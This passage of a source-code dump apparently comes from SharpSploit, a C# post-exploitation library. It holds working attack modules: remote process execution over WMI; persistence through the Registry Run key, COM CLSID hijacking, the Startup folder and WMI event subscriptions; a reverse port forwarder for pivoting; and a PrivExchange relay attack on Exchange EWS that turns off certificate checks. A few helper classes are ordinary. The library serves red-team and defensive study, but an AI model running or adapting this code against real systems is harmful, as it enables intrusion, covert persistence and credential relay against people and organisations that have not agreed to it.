ManagementScope scope = new ManagementScope(String.Format("\\\\{0}\\root\\cimv2", ComputerName), options); 37 | 38 | try 39 | { 40 | scope.Connect(); 41 | var wmiProcess = new ManagementClass(scope, new ManagementPath("Win32_Process"), new ObjectGetOptions()); 42 | 43 | ManagementBaseObject inParams = wmiProcess.GetMethodParameters("Create"); 44 | PropertyDataCollection properties = inParams.Properties; 45 | inParams["CommandLine"] = Command; 46 | 47 | ManagementBaseObject outParams = wmiProcess.InvokeMethod("Create", inParams, null); 48 | 49 | return new WmiExecuteResult 50 | { 51 | ReturnValue = outParams["returnValue"].ToString(), 52 | ProcessID = outParams["processId"].ToString() 53 | }; 54 | } 55 | catch (Exception e) 56 | { 57 | Console.Error.WriteLine("WMI Exception:" + e.Message); 58 | return null; 59 | } 60 | } 61 | 62 | /// 63 | /// Execute a process on a remote system using the WMI Win32_Process.Create method. 64 | /// 65 | /// ComputerNames of remote systems to execute process. 66 | /// Command to execute on remote system. 67 | /// Username to authenticate as to the remote system. 68 | /// Password to authenticate the user. 69 | /// Bool. True if execution succeeds, false otherwise. 70 | public static SharpSploitResultList WMIExecute(List ComputerNames, string Command, string Username, string Password) 71 | { 72 | SharpSploitResultList results = new SharpSploitResultList(); 73 | results.AddRange(ComputerNames.Select(CN => WMIExecute(CN, Command, Username, Password))); 74 | return results; 75 | } 76 | 77 | public sealed class WmiExecuteResult : SharpSploitResult 78 | { 79 | public string ReturnValue { get; set; } = ""; 80 | public string ProcessID { get; set; } = ""; 81 | protected internal override IList ResultProperties 82 | { 83 | get 84 | { 85 | return new List { 86 | new SharpSploitResultProperty { Name = "ReturnValue", Value = this.ReturnValue }, 87 | new SharpSploitResultProperty { Name = "ProcessID", Value = this.ProcessID } 88 | }; 89 | } 90 | } 91 | } 92 | } 93 | } -------------------------------------------------------------------------------- /SharpSploit/Misc/CountdownEvent.cs: -------------------------------------------------------------------------------- 1 | // Author: Ryan Cobb (@cobbr_io) 2 | // Project: SharpSploit (https://github.com/cobbr/SharpSploit) 3 | // License: BSD 3-Clause 4 | 5 | using System; 6 | using System.Threading; 7 | 8 | namespace SharpSploit.Misc 9 | { 10 | /// 11 | /// CountdownEvent is used for counting Asynchronous operations 12 | /// 13 | /// 14 | /// Adapted from https://stackoverflow.com/questions/6790499 15 | /// 16 | public sealed class CountdownEvent : IDisposable 17 | { 18 | private readonly ManualResetEvent _countEvent = new ManualResetEvent(false); 19 | private readonly ManualResetEvent _reachedCountEvent = new ManualResetEvent(false); 20 | private volatile int _maxCount; 21 | private volatile int _currentCount = 0; 22 | private volatile bool _isDisposed = false; 23 | 24 | public CountdownEvent(int count) 25 | { 26 | this._maxCount = count; 27 | } 28 | 29 | public bool Signal() 30 | { 31 | if (this._isDisposed) 32 | { 33 | return false; 34 | } 35 | if (this._currentCount >= this._maxCount) 36 | { 37 | return true; 38 | } 39 | if (Interlocked.Increment(ref _currentCount) >= this._maxCount) 40 | { 41 | _reachedCountEvent.Set(); 42 | return true; 43 | } 44 | _countEvent.Set(); 45 | return false; 46 | } 47 | 48 | public bool Wait(int timeout = Timeout.Infinite) 49 | { 50 | if (this._isDisposed) 51 | { 52 | return false; 53 | } 54 | return _reachedCountEvent.WaitOne(timeout); 55 | } 56 | 57 | public bool WaitOne(int timeout = Timeout.Infinite) 58 | { 59 | if (this._isDisposed) 60 | { 61 | return false; 62 | } 63 | return _countEvent.WaitOne(timeout); 64 | } 65 | 66 | public void Dispose() 67 | { 68 | this.Dispose(true); 69 | GC.SuppressFinalize(this); 70 | } 71 | 72 | public void Dispose(bool disposing) 73 | { 74 | if (!this._isDisposed) 75 | { 76 | if (disposing) 77 | { 78 | ((IDisposable)_reachedCountEvent).Dispose(); 79 | ((IDisposable)_countEvent).Dispose(); 80 | } 81 | this._isDisposed = true; 82 | } 83 | } 84 | } 85 | } 86 | -------------------------------------------------------------------------------- /SharpSploit/Misc/Utilities.cs: -------------------------------------------------------------------------------- 1 | // Author: Ryan Cobb (@cobbr_io) 2 | // Project: SharpSploit (https://github.com/cobbr/SharpSploit) 3 | // License: BSD 3-Clause 4 | 5 | using System; 6 | using System.IO; 7 | using System.IO.Compression; 8 | using System.Linq; 9 | using System.Reflection; 10 | using System.Security.Cryptography.X509Certificates; 11 | 12 | namespace SharpSploit.Misc 13 | { 14 | public static class Utilities 15 | { 16 | /// 17 | /// Checks that a file is signed and has a valid signature. 18 | /// 19 | /// Path of file to check. 20 | /// 21 | public static bool FileHasValidSignature(string FilePath) 22 | { 23 | X509Certificate2 FileCertificate; 24 | try 25 | { 26 | X509Certificate signer = X509Certificate.CreateFromSignedFile(FilePath); 27 | FileCertificate = new X509Certificate2(signer); 28 | } 29 | catch 30 | { 31 | return false; 32 | } 33 | 34 | X509Chain CertificateChain = new X509Chain(); 35 | CertificateChain.ChainPolicy.RevocationFlag = X509RevocationFlag.EntireChain; 36 | CertificateChain.ChainPolicy.RevocationMode = X509RevocationMode.Offline; 37 | CertificateChain.ChainPolicy.VerificationFlags = X509VerificationFlags.NoFlag; 38 | 39 | return CertificateChain.Build(FileCertificate); 40 | } 41 | 42 | private static string[] manifestResources = Assembly.GetExecutingAssembly().GetManifestResourceNames(); 43 | 44 | public static byte[] GetEmbeddedResourceBytes(string resourceName) 45 | { 46 | string resourceFullName = manifestResources.FirstOrDefault(N => N.Contains(resourceName + ".comp")); 47 | if (resourceFullName != null) 48 | { 49 | return Decompress(Assembly.GetExecutingAssembly().GetManifestResourceStream(resourceFullName).ReadFully()); 50 | } 51 | else if ((resourceFullName = manifestResources.FirstOrDefault(N => N.Contains(resourceName))) != null) 52 | { 53 | return Assembly.GetExecutingAssembly().GetManifestResourceStream(resourceFullName).ReadFully(); 54 | } 55 | return null; 56 | } 57 | 58 | public static byte[] ReadFully(this Stream input) 59 | { 60 | byte[] buffer = new byte[16 * 1024]; 61 | using (MemoryStream ms = new MemoryStream()) 62 | { 63 | int read; 64 | while((read = input.Read(buffer, 0, buffer.Length)) > 0) 65 | { 66 | ms.Write(buffer, 0, read); 67 | } 68 | return ms.ToArray(); 69 | } 70 | } 71 | 72 | public static byte[] Compress(byte[] Bytes) 73 | { 74 | byte[] compressedBytes; 75 | using (MemoryStream memoryStream = new MemoryStream()) 76 | { 77 | using (DeflateStream deflateStream = new DeflateStream(memoryStream, CompressionMode.Compress)) 78 | { 79 | deflateStream.Write(Bytes, 0, Bytes.Length); 80 | } 81 | compressedBytes = memoryStream.ToArray(); 82 | } 83 | return compressedBytes; 84 | } 85 | 86 | public static byte[] Decompress(byte[] compressed) 87 | { 88 | using (MemoryStream inputStream = new MemoryStream(compressed.Length)) 89 | { 90 | inputStream.Write(compressed, 0, compressed.Length); 91 | inputStream.Seek(0, SeekOrigin.Begin); 92 | using (MemoryStream outputStream = new MemoryStream()) 93 | { 94 | using (DeflateStream deflateStream = new DeflateStream(inputStream, CompressionMode.Decompress)) 95 | { 96 | byte[] buffer = new byte[4096]; 97 | int bytesRead; 98 | while ((bytesRead = deflateStream.Read(buffer, 0, buffer.Length)) != 0) 99 | { 100 | outputStream.Write(buffer, 0, bytesRead); 101 | } 102 | } 103 | return outputStream.ToArray(); 104 | } 105 | } 106 | } 107 | 108 | public static bool Is64Bit 109 | { 110 | get { return IntPtr.Size == 8; } 111 | } 112 | 113 | public static string ConvertFileLengthForDisplay(long size) 114 | { 115 | string result = size.ToString(); 116 | 117 | if (size < 1024) { result = $"{size}b"; } 118 | else if (size > 1024 && size <= 1048576) { result = $"{size / 1024}kb"; } 119 | else if (size > 1048576 && size <= 1073741824) { result = $"{size / 1048576}mb"; } 120 | else if (size > 1073741824 && size <= 1099511627776) { result = $"{size / 1073741824}gb"; } 121 | else if (size > 1099511627776) { result = $"{size / 1099511627776}tb"; } 122 | 123 | return result; 124 | } 125 | } 126 | } -------------------------------------------------------------------------------- /SharpSploit/Persistence/Autorun.cs: -------------------------------------------------------------------------------- 1 | // Author: Ryan Cobb (@cobbr_io) 2 | // Project: SharpSploit (https://github.com/cobbr/SharpSploit) 3 | // License: BSD 3-Clause 4 | 5 | using System; 6 | using Win = Microsoft.Win32; 7 | 8 | using SharpSploit.Enumeration; 9 | 10 | namespace SharpSploit.Persistence 11 | { 12 | /// 13 | /// Autorun is a class for abusing the Windows Registry to establish peristence. 14 | /// 15 | public class Autorun 16 | { 17 | /// 18 | /// Installs an autorun value in HKCU or HKLM to execute a payload. 19 | /// 20 | /// Daniel Duggan (@_RastaMouse) 21 | /// True if execution succeeds, false otherwise. 22 | /// Target hive to install autorun. CurrentUser or LocalMachine. 23 | /// Value to set in the registry. 24 | /// Name for the registy value. Defaults to "Updater". 25 | public static bool InstallAutorun(Win.RegistryHive TargetHive, string Value, string Name = "Updater") 26 | { 27 | try 28 | { 29 | if (TargetHive == Win.RegistryHive.CurrentUser || TargetHive == Win.RegistryHive.LocalMachine) 30 | { 31 | return Registry.SetRegistryKey(TargetHive, @"Software\Microsoft\Windows\CurrentVersion\Run", Name, Value, Win.RegistryValueKind.ExpandString); 32 | } 33 | Console.Error.WriteLine("Error: TargetHive must be CurrentUser or LocalMachine."); 34 | } 35 | catch (Exception e) 36 | { 37 | Console.Error.WriteLine($"Error: {e.Message}"); 38 | } 39 | return false; 40 | } 41 | 42 | /// 43 | /// Installs an autorun value in HKCU or HKLM to execute a payload. 44 | /// 45 | /// Daniel Duggan (@_RastaMouse) 46 | /// True if execution succeeds, false otherwise. 47 | /// Target hive to install autorun. CurrentUser or LocalMachine. 48 | /// Value to set in the registry. 49 | /// Name for the registy value. Defaults to "Updater". 50 | public static bool InstallAutorun(string TargetHive, string Value, string Name = "Updater") 51 | { 52 | return InstallAutorun(Registry.ConvertToRegistryHive(TargetHive), Value, Name); 53 | } 54 | } 55 | } 56 | -------------------------------------------------------------------------------- /SharpSploit/Persistence/COM.cs: -------------------------------------------------------------------------------- 1 | // Author: Ryan Cobb (@cobbr_io) 2 | // Project: SharpSploit (https://github.com/cobbr/SharpSploit) 3 | // License: BSD 3-Clause 4 | 5 | using Microsoft.Win32; 6 | 7 | namespace SharpSploit.Persistence 8 | { 9 | /// 10 | /// COM is a class for abusing the Microsoft Component Object Model to establish peristence. 11 | /// 12 | public class COM 13 | { 14 | /// 15 | /// Hijacks a CLSID key to execute a payload. 16 | /// 17 | /// Dennis Panagiotopoulos (@den_n1s) 18 | /// Bool. True if execution succeeds, false otherwise. 19 | /// 20 | /// Credit to Ruben Boonen (@FuzzySec) for his PowerShell implementation of this technique. 21 | /// 22 | /// Missing CLSID to abuse. 23 | /// Path to the executable payload. 24 | public static bool HijackCLSID(string CLSID, string ExecutablePath) 25 | { 26 | RegistryKey key = Registry.CurrentUser.CreateSubKey("Software\\Classes\\CLSID\\{" + CLSID + "}\\InProcServer32"); 27 | key.SetValue("", ExecutablePath); 28 | key.SetValue("ThreadingModel", "Apartment"); 29 | key.SetValue("LoadWithoutCOM", ""); 30 | 31 | key = Registry.CurrentUser.CreateSubKey("Software\\Classes\\CLSID\\{" + CLSID + "}\\ShellFolder"); 32 | key.SetValue("HideOnDesktop", ""); 33 | key.SetValue("Attributes", unchecked((int)0xf090013d), RegistryValueKind.DWord); 34 | 35 | return true; 36 | } 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /SharpSploit/Persistence/Startup.cs: -------------------------------------------------------------------------------- 1 | // Author: Ryan Cobb (@cobbr_io) 2 | // Project: SharpSploit (https://github.com/cobbr/SharpSploit) 3 | // License: BSD 3-Clause 4 | 5 | using System; 6 | using System.IO; 7 | 8 | namespace SharpSploit.Persistence 9 | { 10 | /// 11 | /// Startup is a class for abusing the Windows Startup folder to establish peristence. 12 | /// 13 | public class Startup 14 | { 15 | /// 16 | /// Installs a payload into the current users startup folder. 17 | /// 18 | /// Daniel Duggan (@_RastaMouse) 19 | /// Payload to write to a file. 20 | /// Name of the file to write. Defaults to "startup.bat" 21 | /// True if execution succeeds, false otherwise. 22 | public static bool InstallStartup(string Payload, string FileName = "startup.bat") 23 | { 24 | try 25 | { 26 | string FilePath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + $@"\Microsoft\Windows\Start Menu\Programs\Startup\{FileName}"; 27 | File.WriteAllText(FilePath, Payload); 28 | return true; 29 | } 30 | catch (Exception e) 31 | { 32 | Console.Error.WriteLine("Failed: " + e.Message); 33 | } 34 | return false; 35 | } 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /SharpSploit/Persistence/WMI.cs: -------------------------------------------------------------------------------- 1 | // Author: Ryan Cobb (@cobbr_io) 2 | // Project: SharpSploit (https://github.com/cobbr/SharpSploit) 3 | // License: BSD 3-Clause 4 | 5 | using System; 6 | using System.Management; 7 | 8 | namespace SharpSploit.Persistence 9 | { 10 | /// 11 | /// WMI is a class for abusing WMI Event Subscriptions to establish peristence. Requires elevation. 12 | /// 13 | public class WMI 14 | { 15 | /// 16 | /// Creates a WMI Event, Consumer and Binding to execuate a payload. 17 | /// 18 | /// Daniel Duggan (@_RastaMouse) 19 | /// Bool. True if execution succeeds, false otherwise. 20 | /// 21 | /// Credit to Andrew Luke (@sw4mp_f0x) for PowerLurk and 22 | /// Dominic Chell (@domchell) for Persistence Part 3 – WMI Event Subscription. 23 | /// 24 | /// An arbitrary name to be assigned to the new WMI Event. 25 | /// Specifies the event trigger to use. The options are ProcessStart. 26 | /// Specifies the action to carry out. The options are CommandLine (OS Command) and ActiveScript (JScript or VBScript). 27 | /// Specifies the CommandLine or ActiveScript payload to run. 28 | /// Specifies the process name when the ProcessStart trigger is selected. Defaults to notepad.exe. 29 | /// Specifies the scripting engine when the ActiveScript consumer is selected. Defaults to VBScript. 30 | public static bool InstallWMIPersistence(string EventName, EventFilter EventFilter, EventConsumer EventConsumer, string Payload, string ProcessName = "notepad.exe", ScriptingEngine ScriptingEngine = ScriptingEngine.VBScript) 31 | { 32 | try 33 | { 34 | ManagementObject eventFilter = CreateEventFilter(EventName, EventFilter, ProcessName); 35 | ManagementObject eventConsumer = CreateEventConsumer(EventName, EventConsumer, Payload, ScriptingEngine); 36 | CreateBinding(eventFilter, eventConsumer); 37 | return true; 38 | } 39 | catch (Exception e) 40 | { 41 | Console.Error.WriteLine("WMI Exception: " + e.Message); 42 | } 43 | return false; 44 | } 45 | 46 | private static ManagementObject CreateEventFilter(string EventName, EventFilter EventFilter, string ProcessName) 47 | { 48 | ManagementObject _EventFilter = null; 49 | try 50 | { 51 | ManagementScope scope = new ManagementScope(@"\\.\root\subscription"); 52 | ManagementClass wmiEventFilter = new ManagementClass(scope, new ManagementPath("__EventFilter"), null); 53 | 54 | string query = string.Empty; 55 | if (EventFilter == EventFilter.ProcessStart) 56 | { 57 | query = $@"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='{ProcessName}'"; 58 | } 59 | 60 | WqlEventQuery wql = new WqlEventQuery(query); 61 | _EventFilter = wmiEventFilter.CreateInstance(); 62 | _EventFilter["Name"] = EventName; 63 | _EventFilter["Query"] = wql.QueryString; 64 | _EventFilter["QueryLanguage"] = wql.QueryLanguage; 65 | _EventFilter["EventNameSpace"] = @"root/cimv2"; 66 | _EventFilter.Put(); 67 | } 68 | catch (Exception e) 69 | { 70 | Console.Error.WriteLine(e.Message); 71 | } 72 | return _EventFilter; 73 | } 74 | 75 | private static ManagementObject CreateEventConsumer(string ConsumerName, EventConsumer EventConsumer, string Payload, ScriptingEngine ScriptingEngine = ScriptingEngine.VBScript) 76 | { 77 | ManagementObject _EventConsumer = null; 78 | try 79 | { 80 | ManagementScope scope = new ManagementScope(@"\\.\root\subscription"); 81 | if (EventConsumer == EventConsumer.CommandLine) 82 | { 83 | _EventConsumer = new ManagementClass(scope, new ManagementPath("CommandLineEventConsumer"), null).CreateInstance(); 84 | _EventConsumer["Name"] = ConsumerName; 85 | _EventConsumer["RunInteractively"] = false; 86 | _EventConsumer["CommandLineTemplate"] = Payload; 87 | } 88 | else if (EventConsumer == EventConsumer.ActiveScript) 89 | { 90 | _EventConsumer = new ManagementClass(scope, new ManagementPath("ActiveScriptEventConsumer"), null).CreateInstance(); 91 | _EventConsumer["Name"] = ConsumerName; 92 | 93 | if (ScriptingEngine == ScriptingEngine.JScript) 94 | _EventConsumer["ScriptingEngine"] = "JScript"; 95 | else if (ScriptingEngine == ScriptingEngine.VBScript) 96 | _EventConsumer["ScriptingEngine"] = "VBScript"; 97 | 98 | _EventConsumer["ScriptText"] = Payload; 99 | } 100 | _EventConsumer.Put(); 101 | } 102 | 103 | catch (Exception e) 104 | { 105 | Console.Error.WriteLine(e.Message); 106 | } 107 | return _EventConsumer; 108 | } 109 | 110 | private static void CreateBinding(ManagementObject EventFilter, ManagementObject EventConsumer) 111 | { 112 | ManagementScope scope = new ManagementScope(@"\\.\root\subscription"); 113 | ManagementObject _Binding = new ManagementClass(scope, new ManagementPath("__FilterToConsumerBinding"), null).CreateInstance(); 114 | 115 | _Binding["Filter"] = EventFilter.Path.RelativePath; 116 | _Binding["Consumer"] = EventConsumer.Path.RelativePath; 117 | _Binding.Put(); 118 | } 119 | 120 | public enum EventFilter 121 | { 122 | ProcessStart 123 | } 124 | 125 | public enum EventConsumer 126 | { 127 | CommandLine, 128 | ActiveScript 129 | } 130 | 131 | public enum ScriptingEngine 132 | { 133 | JScript, 134 | VBScript 135 | } 136 | } 137 | } -------------------------------------------------------------------------------- /SharpSploit/Pivoting/ReversePortForwarding.cs: -------------------------------------------------------------------------------- 1 | // Author: Ryan Cobb (@cobbr_io) 2 | // Project: SharpSploit (https://github.com/cobbr/SharpSploit) 3 | // License: BSD 3-Clause 4 | 5 | using System.Net; 6 | using System.Linq; 7 | using System.Threading; 8 | using System.Net.Sockets; 9 | using System.Collections.Generic; 10 | 11 | using SharpSploit.Generic; 12 | 13 | namespace SharpSploit.Pivoting 14 | { 15 | /// 16 | /// ReversePortForwarding is a class that allows the addition and removal of Reverse Port Forwards. 17 | /// 18 | public class ReversePortForwarding 19 | { 20 | public class ReversePortForward 21 | { 22 | public IPAddress BindAddress { get; set; } 23 | public int BindPort { get; set; } 24 | public IPAddress ForwardAddress { get; set; } 25 | public int ForwardPort { get; set; } 26 | } 27 | 28 | private static List _reversePortForwards = new List(); 29 | private static Dictionary _boundSockets = new Dictionary(); 30 | 31 | 32 | /// 33 | /// Creates a new Reverse Port Forward. 34 | /// 35 | /// The port to bind on the local system. 36 | /// The IP Address or DNS name to forward traffic to. 37 | /// The port to forward traffic to. 38 | /// Bool. 39 | /// Daniel Duggan (@_RastaMouse) 40 | public static bool CreateReversePortForward(int BindPort, string ForwardAddress, int ForwardPort) 41 | { 42 | // If ForwardHost is not a valid IP, try to resolve it as DNS. 43 | if (!IPAddress.TryParse(ForwardAddress, out IPAddress forwardAddress)) 44 | { 45 | try 46 | { 47 | var ipHostInfo = Dns.GetHostEntry(ForwardAddress); 48 | forwardAddress = ipHostInfo.AddressList[0]; 49 | } 50 | catch 51 | { 52 | return false; 53 | } 54 | } 55 | return CreateReversePortForward(BindPort, forwardAddress, ForwardPort); 56 | } 57 | 58 | /// 59 | /// Creates a new Reverse Port Forward. 60 | /// 61 | /// The port to bind on the local system. 62 | /// The IP Address or DNS name to forward traffic to. 63 | /// The port to forward traffic to. 64 | /// Bool. 65 | /// Daniel Duggan (@_RastaMouse) 66 | public static bool CreateReversePortForward(int BindPort, IPAddress ForwardAddress, int ForwardPort) 67 | { 68 | // Check if bindPort is not already bound. 69 | if (_boundSockets.ContainsKey(BindPort)) 70 | { 71 | return false; 72 | } 73 | 74 | // Bind the sockets 75 | Socket boundSocket = BindSocket(IPAddress.Any, BindPort); 76 | if (boundSocket == null) 77 | { 78 | return false; 79 | } 80 | 81 | ReversePortForward newReversePortForward = new ReversePortForward 82 | { 83 | BindAddress = IPAddress.Any, 84 | BindPort = BindPort, 85 | ForwardAddress = ForwardAddress, 86 | ForwardPort = ForwardPort 87 | }; 88 | 89 | // Add to Lists 90 | _reversePortForwards.Add(newReversePortForward); 91 | _boundSockets[BindPort] = boundSocket; 92 | 93 | // Kick off client sockets in new thread. 94 | new Thread(() => CreateClientSocketThread(boundSocket, ForwardAddress, ForwardPort)).Start(); 95 | return true; 96 | } 97 | 98 | /// 99 | /// Deletes an active Reverse Port Forward. 100 | /// 101 | /// The bind port of the Reverse Port Forward. 102 | /// Bool. 103 | /// Daniel Duggan (@_RastaMouse) 104 | public static bool DeleteReversePortForward(int BindPort) 105 | { 106 | if (!_boundSockets.TryGetValue(BindPort, out Socket socket)) 107 | { 108 | return false; 109 | } 110 | 111 | try 112 | { 113 | try { socket.Shutdown(SocketShutdown.Both); } 114 | catch (SocketException) { } 115 | socket.Close(); 116 | 117 | _boundSockets.Remove(BindPort); 118 | 119 | ReversePortForward reversePortForward = _reversePortForwards.FirstOrDefault(r => r.BindPort.Equals(BindPort)); 120 | _reversePortForwards.Remove(reversePortForward); 121 | 122 | return true; 123 | } 124 | catch { } 125 | 126 | return false; 127 | } 128 | 129 | /// 130 | /// Gets a list of active Reverse Port Forwards. 131 | /// 132 | /// A SharpSploitResultList of ReversePortFwdResult 133 | /// Daniel Duggan (@_RastaMouse) 134 | public static SharpSploitResultList GetReversePortForwards() 135 | { 136 | SharpSploitResultList reversePortForwards = new SharpSploitResultList(); 137 | 138 | foreach (ReversePortForward rportfwd in _reversePortForwards) 139 | { 140 | reversePortForwards.Add(new ReversePortFwdResult 141 | { 142 | BindAddresses = rportfwd.BindAddress.ToString(), 143 | BindPort = rportfwd.BindPort, 144 | ForwardAddress = rportfwd.ForwardAddress.ToString(), 145 | ForwardPort = rportfwd.ForwardPort 146 | }); 147 | } 148 | return reversePortForwards; 149 | } 150 | 151 | /// 152 | /// Delete all active Reverse Port Forwards. 153 | /// 154 | /// Daniel Duggan (@_RastaMouse) 155 | public static void FlushReversePortFowards() 156 | { 157 | try 158 | { 159 | foreach (Socket socket in _boundSockets.Values) 160 | { 161 | try { socket.Shutdown(SocketShutdown.Both); } 162 | catch (SocketException) { } 163 | socket.Close(); 164 | } 165 | 166 | _boundSockets.Clear(); 167 | _reversePortForwards.Clear(); 168 | } 169 | catch { } 170 | } 171 | 172 | private static Socket BindSocket(IPAddress BindAddress, int BindPort) 173 | { 174 | IPEndPoint localEP = new IPEndPoint(BindAddress, BindPort); 175 | Socket socket = new Socket(BindAddress.AddressFamily, SocketType.Stream, ProtocolType.Tcp); 176 | try 177 | { 178 | socket.Bind(localEP); 179 | socket.Listen(10); 180 | } 181 | catch (SocketException) { } 182 | return socket; 183 | } 184 | 185 | private static void CreateClientSocketThread(Socket BoundSocket, IPAddress ForwardAddress, int ForwardPort) 186 | { 187 | IPEndPoint remoteEP = new IPEndPoint(ForwardAddress, ForwardPort); 188 | 189 | while (true) 190 | { 191 | byte[] boundBuffer = new byte[1024]; 192 | byte[] clientBuffer = new byte[1048576]; 193 | 194 | try 195 | { 196 | // Receive data on bound socket 197 | Socket handler = BoundSocket.Accept(); 198 | handler.Receive(boundBuffer); 199 | 200 | // Create new client socket 201 | using (Socket clientSocket = new Socket(ForwardAddress.AddressFamily, SocketType.Stream, ProtocolType.Tcp)) 202 | { 203 | try 204 | { 205 | clientSocket.Connect(remoteEP); 206 | clientSocket.Send(boundBuffer); 207 | clientSocket.Receive(clientBuffer); 208 | } 209 | catch (SocketException) { } 210 | } 211 | handler.Send(clientBuffer); 212 | } 213 | catch { } 214 | } 215 | } 216 | 217 | public sealed class ReversePortFwdResult : SharpSploitResult 218 | { 219 | public string BindAddresses { get; set; } 220 | public int BindPort { get; set; } 221 | public string ForwardAddress { get; set; } 222 | public int ForwardPort { get; set; } 223 | protected internal override IList ResultProperties 224 | { 225 | get 226 | { 227 | return new List { 228 | new SharpSploitResultProperty { Name = "BindAddresses", Value = this.BindAddresses }, 229 | new SharpSploitResultProperty { Name = "BindPort", Value = this.BindPort }, 230 | new SharpSploitResultProperty { Name = "ForwardAddress", Value = this.ForwardAddress }, 231 | new SharpSploitResultProperty { Name = "ForwardPort", Value = this.ForwardPort } 232 | }; 233 | } 234 | } 235 | } 236 | } 237 | } -------------------------------------------------------------------------------- /SharpSploit/PrivilegeEscalation/Exchange.cs: -------------------------------------------------------------------------------- 1 | // Author: Ryan Cobb (@cobbr_io) 2 | // Project: SharpSploit (https://github.com/cobbr/SharpSploit) 3 | // License: BSD 3-Clause 4 | 5 | using System; 6 | using System.IO; 7 | using System.Net; 8 | using System.Xml; 9 | 10 | namespace SharpSploit.PrivilegeEscalation 11 | { 12 | /// 13 | /// Exchange is a class for abusing Microsoft Exchange for privilege escalation. 14 | /// 15 | public class Exchange 16 | { 17 | /// 18 | /// Enum for varions versions of Microsoft Exchange 19 | /// 20 | public enum ExchangeVersion 21 | { 22 | /// Exchange 2007 23 | Exchange2007, 24 | /// Exchange 2007 SP1 25 | Exchange2007_SP1, 26 | /// Exchange 2010 27 | Exchange2010, 28 | /// Exchange 2010 SP1 29 | Exchange2010_SP1, 30 | /// Exchange 2010 SP2 31 | Exchange2010_SP2, 32 | /// Exchange 2013 33 | Exchange2013, 34 | /// Exchange 2013 SP1 35 | Exchange2013_SP1, 36 | /// Exchange 2016 37 | Exchange2016 38 | } 39 | 40 | /// 41 | /// Performs the "PrivExchange" attack to abuse Exchange EWS to subscribe to push notifications to relay the Exchange authentication. 42 | /// This attack relies on the use of a relay constructed outside of SharpSploit. 43 | /// 44 | /// Dennis Panagiotopoulos (@den_n1s) 45 | /// The URI of the Exchange EWS instance to perform the relay against. For example: http(s)://[hostname]:[port]/EWS/Exchange.asmx. 46 | /// Set the attacker's IP. 47 | /// Microsoft Exchange version. Defaults to Exchange2010. 48 | /// Bool. True if execution succeeds, false otherwise. 49 | /// 50 | /// Credits to Dirk-jan Molemma (@_dirkjan) for the discovery of this attack and Dave Cossa (@G0ldenGunSec) for his PowerShell implementation. 51 | /// 52 | public static bool PrivExchangePushNotification(string EWSUri, string RelayUri, ExchangeVersion ExchangeVersion = ExchangeVersion.Exchange2010) 53 | { 54 | XmlDocument soapEnvelopeXml = new XmlDocument(); 55 | 56 | string soapRequestXML = String.Format(@" 57 | 58 | 59 | 60 | NewMailEvent ModifiedEvent MovedEvent 61 | 1 {1} 62 | 63 | ", ExchangeVersion, RelayUri); 64 | 65 | soapEnvelopeXml.LoadXml(soapRequestXML); 66 | 67 | ServicePointManager.ServerCertificateValidationCallback += (sender, cert, chain, sslPolicyErrors) => true; 68 | HttpWebRequest request = (HttpWebRequest)HttpWebRequest.Create(EWSUri); 69 | request.ContentType = "text/xml;charset=\"utf-8\""; 70 | request.Method = "POST"; 71 | request.UseDefaultCredentials = true; 72 | 73 | // Send request to Exchange EWS 74 | try 75 | { 76 | Console.WriteLine("Sending request to exchange server: {0}", EWSUri); 77 | Stream newStream = request.GetRequestStream(); 78 | soapEnvelopeXml.Save(newStream); 79 | newStream.Close(); 80 | } 81 | catch (WebException e) 82 | { 83 | Console.Error.WriteLine("Error: EWS Request unsuccessful: " + e.Message + Environment.NewLine + e.StackTrace); 84 | return false; 85 | } 86 | 87 | // Wait for response from Exchange EWS 88 | try 89 | { 90 | HttpWebResponse response = (HttpWebResponse)request.GetResponse(); 91 | StreamReader rd = new StreamReader(response.GetResponseStream()); 92 | string xmlResult = rd.ReadToEnd(); 93 | 94 | if (response.StatusCode == HttpStatusCode.OK) 95 | { 96 | if (xmlResult.Contains("NoError")) 97 | { 98 | Console.WriteLine("Received HTTP Status Code: 200. Exchange server should authenticate soon."); 99 | return true; 100 | } 101 | else if (xmlResult.Contains("ErrorMissingEmailAddress")) 102 | { 103 | Console.Error.WriteLine("Error: Current user does not have an email address associated with their account."); 104 | return false; 105 | } 106 | else 107 | { 108 | Console.Error.WriteLine("Unknown error has occured. Attack was likely unsuccessful."); 109 | return false; 110 | } 111 | } 112 | else 113 | { 114 | Console.Error.WriteLine("Invalid response received. Attack may have failed."); 115 | return false; 116 | } 117 | } 118 | catch (WebException e) 119 | { 120 | Console.Error.WriteLine("Error: " + e.Message + Environment.NewLine + e.StackTrace); 121 | return false; 122 | } 123 | } 124 | } 125 | } -------------------------------------------------------------------------------- /SharpSploit/Properties/PublishProfiles/FolderProfile.pubxml: -------------------------------------------------------------------------------- 1 |  2 | 5 | 6 | 7 | FileSystem 8 | Release 9 | Any CPU 10 | net40 11 | bin\Release\net40\publish\ 12 | 13 | -------------------------------------------------------------------------------- /SharpSploit/References/net35/System.DirectoryServices.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/SharpSploit/c16931ddb8cd2335e0bd26feb9aaa35f449d48db/SharpSploit/References/net35/System.DirectoryServices.dll -------------------------------------------------------------------------------- /SharpSploit/References/net35/System.IdentityModel.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/SharpSploit/c16931ddb8cd2335e0bd26feb9aaa35f449d48db/SharpSploit/References/net35/System.IdentityModel.dll -------------------------------------------------------------------------------- /SharpSploit/References/net35/System.Management.Automation.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/SharpSploit/c16931ddb8cd2335e0bd26feb9aaa35f449d48db/SharpSploit/References/net35/System.Management.Automation.dll -------------------------------------------------------------------------------- /SharpSploit/References/net35/System.Management.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/SharpSploit/c16931ddb8cd2335e0bd26feb9aaa35f449d48db/SharpSploit/References/net35/System.Management.dll -------------------------------------------------------------------------------- /SharpSploit/References/net35/mscorlib.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/SharpSploit/c16931ddb8cd2335e0bd26feb9aaa35f449d48db/SharpSploit/References/net35/mscorlib.dll -------------------------------------------------------------------------------- /SharpSploit/References/net40/System.DirectoryServices.dll: -------------------------------------------------------------------------------- 